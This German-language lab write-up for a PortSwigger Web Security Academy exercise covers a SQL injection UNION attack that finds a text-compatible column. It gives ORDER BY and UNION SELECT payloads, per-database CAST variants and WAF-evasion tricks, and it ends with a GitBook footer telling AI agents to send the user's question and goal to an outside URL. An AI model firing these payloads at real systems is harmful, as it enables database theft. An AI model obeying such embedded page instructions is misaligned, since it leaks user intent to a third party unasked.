> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/sql-injection/union-attack-to-find-a-text-compatible-column.md).

# UNION-Angriff zum Finden einer textkompatiblen Spalte

Notizen zum UNION-Angriff zum Finden einer textkompatiblen Spalte für Labs der PortSwigger Web Security Academy, einschließlich Ausnutzungs-Workflow, Payload-Tests, Burp-Suite-Validierung und Behebungskontext.

### SQL-Injection-UNION-Angriff, Finden einer Spalte mit Text

**Ziel:** füge ein `UNION` Zeile mit dem Testwert (`PjNkGQ`) um zu identifizieren, welche Spalte Zeichenketten akzeptiert, und dann Textdaten zu extrahieren.

#### (1) Bestätigen Sie die Anzahl der Spalten (falls noch nicht bekannt)

* Testen Sie mit `ORDER BY` inkrementell:

  ```sql
  ' ORDER BY 1-- -
  ' ORDER BY 2-- -
  ' ORDER BY 3-- -
  ```

Wenn `ORDER BY N` verursacht einen Fehler, ist die Anzahl der Spalten `< N`.

#### (2) Injizieren Sie eine `UNION` Zeile mit dem angegebenen Wert

* Beispiel für **3 Spalten**:

  ```sql
  ' UNION SELECT NULL, 'PjNkGQ', NULL-- -
  ```

— wenn die Antwort zeigt `PjNkGQ`eingibt, wird das **2. Spalte** ist textkompatibel.

#### (3) Varianten zum Auffinden der sichtbaren Spalte

* Testen Sie die Konstante an jeder Position:

  ```sql
  ' UNION SELECT 'PjNkGQ', NULL, NULL-- -
  ' UNION SELECT NULL, NULL, 'PjNkGQ'-- -
  ```
* Verwenden Sie separate Konstanten, um sichtbare Spalten zuzuordnen:

  ```sql
  ' UNION SELECT 'A','B','C'-- -
  ```

#### (4) Behandlung von Typfehlern

* Wenn `UNION` bei Typinkompatibilität fehlschlägt, verwenden Sie `NULL` für Nicht-Text-Spalten oder casten Sie die Konstante entsprechend dem DBMS:
* **MySQL / PostgreSQL**:

  ````
  ```sql
  ' UNION SELECT NULL, CAST('PjNkGQ' AS CHAR), NULL-- -
  ```
  ````

  * **MSSQL** :

    ```sql
    ' UNION SELECT NULL, CAST('PjNkGQ' AS VARCHAR(8000)), NULL-- -
    ```
  * **Oracle** :

    ```sql
    ' UNION SELECT NULL, TO_CHAR('PjNkGQ'), NULL-- -
    ```
* Wenn einige Spalten numerische Typen erfordern, lassen Sie `NULL` für sie NULL und platzieren Sie den Text nur in der Kandidatenspalte.

#### (5) Wenn ein WAF / Filter blockiert `UNION`

* Variieren Sie Kommentar / Leerzeichen: `-- -`, `--`, `/*... */`.
* Bauen Sie die Zeichenfolge über Funktionen auf (z. B. `CONCAT('P','jNkGQ')`) um strenge Normalisierung zu umgehen.

#### (6) Erwartetes Ergebnis

* Die Antwort enthält `PjNkGQ` → Textspalte identifiziert. Von dort aus erstellen Sie `UNION SELECT` für die Aufzählung (Tabellen/Spalten/Dumps).


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/web/sql-injection/union-attack-to-find-a-text-compatible-column.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
